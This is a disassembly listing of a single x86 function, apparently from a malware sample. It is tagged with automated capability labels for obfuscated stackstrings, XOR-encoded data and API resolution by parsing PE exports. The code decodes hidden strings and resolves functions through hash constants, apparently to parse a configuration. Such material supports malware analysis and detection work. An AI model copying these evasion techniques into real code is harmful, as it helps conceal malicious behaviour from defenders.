Function at 0x417eab
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xfc
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x10], 0x70a140b
mov esi, ecx
mov ebp, edx
push edi
mov ecx, ebx
mov al, byte [esp + ecx + 0x14]
xor al, 0x63
mov byte [esp + ecx + 0xc0], al
inc ecx
cmp ecx, 4
jl 0x417ec5
mov byte [esp + 0xc4], bl
mov ecx, ebx
mov dword [esp + 0x18], 0xdedbc7d0
mov byte [esp + 0x1c], 0xd6
mov al, byte [esp + ecx + 0x18]
xor al, 0xb2
mov byte [esp + ecx + 0xc8], al
inc ecx
cmp ecx, 5
jl 0x417eee
push esi
mov byte [esp + 0xd1], bl
call fcn.00405b40
pop ecx
mov ecx, ebx
cmp byte [eax + esi - 1], 0x2f
jne 0x417f7b
mov dword [esp + 0x14], 0x27712771
mov al, byte [esp + ecx + 0x14]
xor al, 0x54
mov byte [esp + ecx + 0x18], al
inc ecx
cmp ecx, 4
jl 0x417f20
mov byte [esp + 0x1c], bl
mov ecx, ebx
mov dword [esp + 0x24], 0x98979f9c
mov dword [esp + 0x28], 0x9ddf9285
mov dword [esp + 0x2c], 0x95848391
mov byte [esp + 0x30], 0x82
mov al, byte [esp + ecx + 0x24]
xor al, 0xf0
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0xd
jl 0x417f53
lea eax, [esp + 0xa8]
mov byte [esp + 0xb5], bl
push eax
lea eax, [esp + 0x1c]
jmp 0x417fe7
mov dword [esp + 0x18], 0x5f69ad5f
mov byte [esp + 0x1c], 0xad
mov al, byte [esp + ecx + 0x18]
sub al, 0x3a
mov byte [esp + ecx + 0x24], al
inc ecx
cmp ecx, 5
jl 0x417f88
mov byte [esp + 0x29], bl
mov ecx, ebx
mov dword [esp + 0xa8], 0x505f5754
mov dword [esp + 0xac], 0x55175a4d
mov dword [esp + 0xb0], 0x5d4c4b59
mov byte [esp + 0xb4], 0x4a
mov al, byte [esp + ecx + 0xa8]
xor al, 0x38
mov byte [esp + ecx + 0x58], al
inc ecx
cmp ecx, 0xd
jl 0x417fc7
lea eax, [esp + 0x58]
mov byte [esp + 0x65], bl
push eax
lea eax, [esp + 0x28]
push esi
push eax
push 0x104
push 0x424ba8
mov edx, 0x534fbfb6
xor ecx, ecx
call fcn.00412ca7
call eax
xor eax, eax
mov dword [0x424db0], 0x1f4
lea edi, [esp + 0x38]
add esp, 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00419ecd
mov esi, eax
xor ecx, ecx
mov edi, 0x9e7f4339
inc ecx
push esi
mov edx, edi
call fcn.00412ca7
call eax
push eax
push esi
lea edx, [esp + 0xc8]
lea ecx, [esp + 0x2c]
call fcn.00417e66
pop ecx
pop ecx
xor ecx, ecx
mov esi, str.tauru
push esi
mov edx, edi
inc ecx
call fcn.00412ca7
call eax
push eax
push esi
lea edx, [esp + 0xd0]
lea ecx, [esp + 0x2c]
call fcn.00417e66
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], ebx
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x30]
call fcn.00417d17
add esp, 0xc
test al, al
je 0x4183f5
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4183f5
mov dword [esp + 0x14], 0xb8bff9fd
mov ecx, ebx
mov al, byte [esp + ecx + 0x14]
xor al, 0xb2
mov byte [esp + ecx + 0x24], al
inc ecx
cmp ecx, 4
jl 0x41809f
push 4
lea eax, [esp + 0x28]
mov byte [esp + 0x2c], bl
push eax
push edi
call fcn.004022e4
add esp, 0xc
test eax, eax
jne 0x4183ee
mov word [esp + 0x20], 0x7c
mov ecx, ebx
mov dword [esp + 0x6c], 0xbcc4c599
mov dword [esp + 0x70], 0xc876bdbf
mov dword [esp + 0x74], 0xbfc8cabb
mov dword [esp + 0x78], 0xbabbccbb
mov dword [esp + 0x7c], 0xba7b7690
mov dword [esp + 0x80], 0xba7b7682
mov dword [esp + 0x84], 0xba7b7682
mov dword [esp + 0x88], 0xba7b7682
mov dword [esp + 0x8c], 0xba7b7682
mov dword [esp + 0x90], 0xba7b7682
mov dword [esp + 0x94], 0xba7b7682
mov dword [esp + 0x98], 0xba7b7682
mov dword [esp + 0x9c], 0xba7b7682
mov dword [esp + 0xa0], 0xba7b7682
mov byte [esp + 0xa4], 0x60
mov al, byte [esp + ecx + 0x6c]
sub al, 0x56
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 0x39
jl 0x418167
mov byte [esp + 0x109], bl
mov ecx, ebx
mov dword [esp + 0x58], 0xe0a31
mov dword [esp + 0x5c], 0x17450b
mov dword [esp + 0x60], 0xc1711
mov dword [esp + 0x64], 0x5f010013
mov dword [esp + 0x68], 0x6f164045
mov al, byte [esp + ecx + 0x58]
xor al, 0x65
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x14
jl 0x4181ab
lea eax, [esp + 0x18]
mov byte [esp + 0xbc], bl
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [edi + 4]
push eax
call fcn.00405d9c
add esp, 0xc
mov esi, ebx
test eax, eax
je 0x418396
mov edx, 0xbf77ea11
mov word [esp + 0x34], 0x31
mov word [esp + 0x38], 0x31
mov word [esp + 0x3c], 0x31
mov word [esp + 0x40], 0x31
mov word [esp + 0x44], 0x31
mov word [esp + 0x48], 0x31
mov word [esp + 0x4c], 0x31
mov word [esp + 0x50], 0x31
mov word [esp + 0x54], 0x31
mov word [esp + 0x14], 0x31
cmp esi, 0xa
ja case.default.0x418239
jmp dword [esi*4 + 0x418403]
push eax
xor ecx, ecx
mov edx, 0xf89245dd
push 0x424cac
inc ecx
call fcn.00412ca7
call eax
jmp case.default.0x418239
lea ecx, [esp + 0x34]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp], al
jmp case.default.0x418239
lea ecx, [esp + 0x38]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 1], al
jmp case.default.0x418239
lea ecx, [esp + 0x3c]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 2], al
jmp case.default.0x418239
lea ecx, [esp + 0x40]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 3], al
jmp case.default.0x418239
lea ecx, [esp + 0x44]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 4], al
jmp case.default.0x418239
lea ecx, [esp + 0x48]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 5], al
jmp case.default.0x418239
lea ecx, [esp + 0x4c]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 6], al
jmp case.default.0x418239
lea ecx, [esp + 0x50]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 7], al
jmp case.default.0x418239
lea ecx, [esp + 0x54]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 8], al
jmp case.default.0x418239
lea ecx, [esp + 0x14]
push ecx
xor ecx, ecx
push eax
inc ecx
call fcn.00412ca7
call eax
neg eax
sbb al, al
inc al
mov byte [ebp + 9], al
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
push ebx
call fcn.00405d9c
add esp, 0xc
mov edx, 0xbf77ea11
inc esi
test eax, eax
jne 0x4181ea
movzx eax, byte [ebp + 9]
mov bl, 1
push eax
movzx eax, byte [ebp + 8]
push eax
movzx eax, byte [ebp + 7]
push eax
movzx eax, byte [ebp + 6]
push eax
movzx eax, byte [ebp + 5]
push eax
movzx eax, byte [ebp + 4]
push eax
movzx eax, byte [ebp + 3]
push eax
movzx eax, byte [ebp + 2]
push eax
movzx eax, byte [ebp + 1]
push eax
movzx eax, byte [ebp]
push eax
lea eax, [esp + 0xf8]
push eax
call fcn.004125f4
add esp, 0x2c
lea eax, [esp + 0xa8]
push 0x424cac
push eax
call fcn.004125f4
pop ecx
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0xfc
ret